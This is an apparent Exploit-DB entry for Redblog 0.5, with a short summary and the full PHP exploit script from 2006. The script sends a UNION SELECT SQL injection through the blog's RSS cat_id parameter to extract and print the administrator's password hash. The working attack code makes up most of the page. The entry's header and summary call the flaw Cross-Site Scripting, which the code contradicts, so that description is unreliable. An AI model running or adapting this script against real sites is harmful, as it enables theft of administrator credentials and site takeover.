Redblog 0.5 Exploit

vendor:

Redblog

by:

Alexander Wilhelm

7.5

CVSS

HIGH

Cross-Site Scripting (XSS)

CWE

Product Name: Redblog

Affected Version From: 0.5

Affected Version To: 0.5

Patch Exists: Yes

Related CWE: N/A

CPE: a:redblog:redblog:0.5

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2006

This exploit is used to gain access to the administrator's password of the Redblog 0.5 application. The exploit is based on a Cross-Site Scripting (XSS) vulnerability in the application's RSS feed. The exploit uses the CURL library to send a malicious request to the application's RSS feed, which then returns the administrator's password in the response.

Mitigation:

The application should be updated to the latest version and the RSS feed should be disabled.

Source

Exploit-DB raw data:

<?
error_reporting(E_ERROR);

function xss_init()
{
    if (!extension_loaded('php_curl'))
    {
       if (!dl('curl.so') and !dl('php_curl.so') and !dl('php_curl.dll'))
       die ("oo error - cannot load curl extension!");
    }
}

function xss_header()
{
    echo "\noooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo";
    echo "                                  oo    ooooooo     ooooooo\n";
    echo "                    oooo   oooo o888  o88     888 o888   888o\n";
    echo "                      888o888    888        o888   888888888\n";
    echo "                      o88888o    888     o888   o 888o   o888\n";
    echo "                    o88o   o88o o888o o8888oooo88   88ooo88\n";
    echo "ooooooooooooooooooooooooooooo redblog 0.5 exploit ooooooooooooooooooooooooooooo\n";
    echo "oo usage          $ php redblog-05-exploit.php [url]\n";
    echo "oo proxy support  $ php redblog-05-exploit.php [url] [proxy]:[port]\n";
    echo "oo example        $ php redblog-05-exploit.php http://localhost\n";
    echo "oo print the password of the administrator\n\n";
}

function xss_bottom()
{
    echo "\noo discover : x128 - alexander wilhelm - 09/03/2006\n";
    echo "oo contact  : exploit <at> x128.net                    oo website : www.x128.net";
}

function xss_exploit()
{
    $xss_target = $_SERVER['argv'][1] . "/modules/blog/rss.php";
    $xss_http_get = "?cat_id=x128";

    $xss_connection = curl_init();

    if ($_SERVER['argv'][2])
    {
        curl_setopt($xss_connection, CURLOPT_TIMEOUT, 8);
        curl_setopt($xss_connection, CURLOPT_PROXY, $_SERVER['argv'][2]);
    }

    curl_setopt ($xss_connection, CURLOPT_URL, $xss_target . $xss_http_get);
    curl_setopt ($xss_connection, CURLOPT_HEADER, 0);
    curl_setopt ($xss_connection, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt ($xss_connection, CURLOPT_USERAGENT, 'x128');

    $xss_source = curl_exec($xss_connection) or die("oo error - cannot connect!\n");
    
    preg_match("/FROM ([0-9a-zA-Z_]*)posts/", $xss_source, $xss_prefix);

    $xss_http_get = "?cat_id=" . urlencode("0 UNION SELECT 1,config_value,1,1,1,1,1,1 FROM " . $xss_prefix[1] . "general_config/*");
    $xss_source = curl_exec($xss_connection) or die("oo error - cannot connect!\n");

    curl_setopt ($xss_connection, CURLOPT_URL, $xss_target . $xss_http_get);

    $xss_source = curl_exec($xss_connection) or die("oo error - cannot connect!\n");
    preg_match("/<title>([0-9a-f]{32})<\/title>/", $xss_source, $xss_output);
    
    if ($xss_output[0])
    {
        echo "oo password       " . $xss_output[1] . "\n\n";
        echo "oo dafaced ...\n";
    }

    curl_close ($xss_connection); 
}

xss_init();
xss_header();
xss_exploit();
xss_bottom();
?>

# milw0rm.com [2006-03-08]